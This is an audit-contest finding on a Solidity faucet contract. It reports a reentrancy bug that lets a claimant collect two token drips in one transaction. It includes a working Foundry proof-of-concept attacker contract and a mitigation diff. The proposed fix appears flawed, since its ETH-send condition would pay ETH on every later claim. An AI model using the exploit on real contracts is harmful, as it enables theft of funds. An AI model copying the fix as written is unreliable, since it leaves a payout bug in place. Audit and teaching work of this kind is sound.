Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() enables double token claims in a single tx

Description

  • RaiseBoxFaucet.claimFaucetTokens() should allow a user (once every 3 days) to claim exactly one faucetDrip of tokens, and—only for the first claim—to receive a Sepolia ETH drip. Cooldown and daily counters are intended to prevent multiple claims in quick succession.

  • The function performs a low‑level ETH call to the claimant before finalizing state updates (lastClaimTime and dailyClaimCount) and without a reentrancy guard. This lets a claimant contract reenter claimFaucetTokens() from its receive() and claim a second token drip in the same transaction, bypassing the cooldown.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// ... cooldown & limit checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// day-bucket reset (ok)
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @> EXTERNAL CALL before effects are finalized -> reentrancy window
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
}
} else {
dailyDrips = 0;
}
// @> EFFECTS AFTER external call: cooldown & counter set too late
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp; // @>
dailyClaimCount++; // @>
// @> token transfer happens after reentrancy chance
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: High

  • Whenever a first‑time claimant calls the faucet, the contract sends ETH before it updates the cooldown timestamp and daily counters, creating a reentrancy window via the recipient’s receive()/fallback.

  • The reentered call executes with the old state, so the claimant passes cooldown and daily checks and receives a second token drip in the same transaction.

Impact: High

  • Cooldown bypass: Users can obtain two token drips in the same tx despite the “every 3 days” rule, breaking per‑user rate limiting and fairness.

  • Accelerated depletion: Faucet tokens are consumed twice as fast per first‑time claim; coordinated bots can drain liquidity faster and skew distribution.

Proof of Concept

  • In the test directory create file PocReent.t.sol

  • Copy bellow code and run forge test --match-path PocReent

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {DeployRaiseboxContract} from "../script/DeployRaiseBoxFaucet.s.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reenters; // guard to ensure exactly one reentry
address public tokenSink; // attacker's EOA to receive tokens from this contract
constructor(RaiseBoxFaucet _faucet, address _sink) {
faucet = _faucet;
tokenSink = _sink;
}
// Initiates the first (normal) claim
function attack() external {
// Precondition: this address has never claimed ETH from faucet, and faucet has ETH & tokens
faucet.claimFaucetTokens(); // ETH is sent -> triggers receive() -> reenter
// After tx: this contract will have received TWO token drips
}
// ETH drip to first-time claimers triggers this, enabling reentry
receive() external payable {
if (reenters == 0) {
reenters = 1;
// Reenter before faucet updates lastClaimTime/dailyClaimCount
faucet.claimFaucetTokens(); // second token drip in same transaction
}
// No further reentry: hasClaimedEth is now true, so subsequent calls won't send ETH
}
// Draining tokens to an attacker's EOA
function drainTokens() external {
require(tokenSink != address(0), "no token sink");
uint256 balance = faucet.balanceOf(address(this));
require(balance > 0, "no tokens to drain");
faucet.transfer(tokenSink, balance);
}
}
contract TestPocReent is Test {
RaiseBoxFaucet raiseBoxFaucet;
DeployRaiseboxContract raiseBoxDeployer;
address attacker = address(0xBEEF);
ReentrancyAttacker attackerContract;
function setUp() public {
raiseBoxDeployer = new DeployRaiseboxContract();
raiseBoxDeployer.run();
raiseBoxFaucet = raiseBoxDeployer.raiseBox();
vm.deal(address(raiseBoxFaucet), 10 ether); // Fund the faucet with ETH
vm.prank(attacker);
attackerContract = new ReentrancyAttacker(
raiseBoxFaucet,
attacker
);
// Advance time to ensure the faucet is ready for claims
vm.warp(3 days);
}
function testDoubleTokenDripIsPossibleWithAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.prank(attacker);
attackerContract.attack();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
finalAttackerTokenBalance,
2 * raiseBoxFaucet.faucetDrip(),
"attacker should have received double amount of test tokens"
);
}
function testDoubleTokenDripFailsWithoutAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.startPrank(attacker);
raiseBoxFaucet.claimFaucetTokens();
vm.expectRevert();
raiseBoxFaucet.claimFaucetTokens();
vm.stopPrank();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
finalAttackerTokenBalance,
raiseBoxFaucet.faucetDrip(),
"attacker should have received normal amount of test tokens"
);
}
}

Recommended Mitigation

Apply Checks‑Effects‑Interactions strictly and add a reentrancy guard. Also use a local claimer variable rather than a mutable state variable.

- contract RaiseBoxFaucet is ERC20, Ownable {
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
- faucetClaimer = msg.sender;
+ function claimFaucetTokens() public nonReentrant {
+ address claimer = msg.sender;
// ... cooldown & limit checks ...
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ if (!hasClaimedEth[claimer] && !sepEthDripsPaused) {
// day rollover logic unchanged
- if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
- }
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ // EFFECTS FIRST
+ hasClaimedEth[claimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+ }
} else {
dailyDrips = 0;
}
// EFFECTS: finalize cooldown and counters BEFORE any external calls
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
+ uint256 today = block.timestamp / 1 days;
+ if (today > lastFaucetDripDay) {
+ lastFaucetDripDay = today;
dailyClaimCount = 0;
}
- lastClaimTime[faucetClaimer] = block.timestamp;
+ lastClaimTime[claimer] = block.timestamp;
dailyClaimCount++;
// Interactions
- _transfer(address(this), faucetClaimer, faucetDrip);
- emit Claimed(msg.sender, faucetDrip);
+ _transfer(address(this), claimer, faucetDrip);
+ emit Claimed(claimer, faucetDrip);
+ // ETH transfer AFTER effects (still guarded by nonReentrant)
+ if (!sepEthDripsPaused && hasClaimedEth[claimer] && address(this).balance >= sepEthAmountToDrip) {
+ (bool success,) = claimer.call{value: sepEthAmountToDrip}("");
+ if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
+ emit SepEthDripped(claimer, sepEthAmountToDrip);
+ }
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.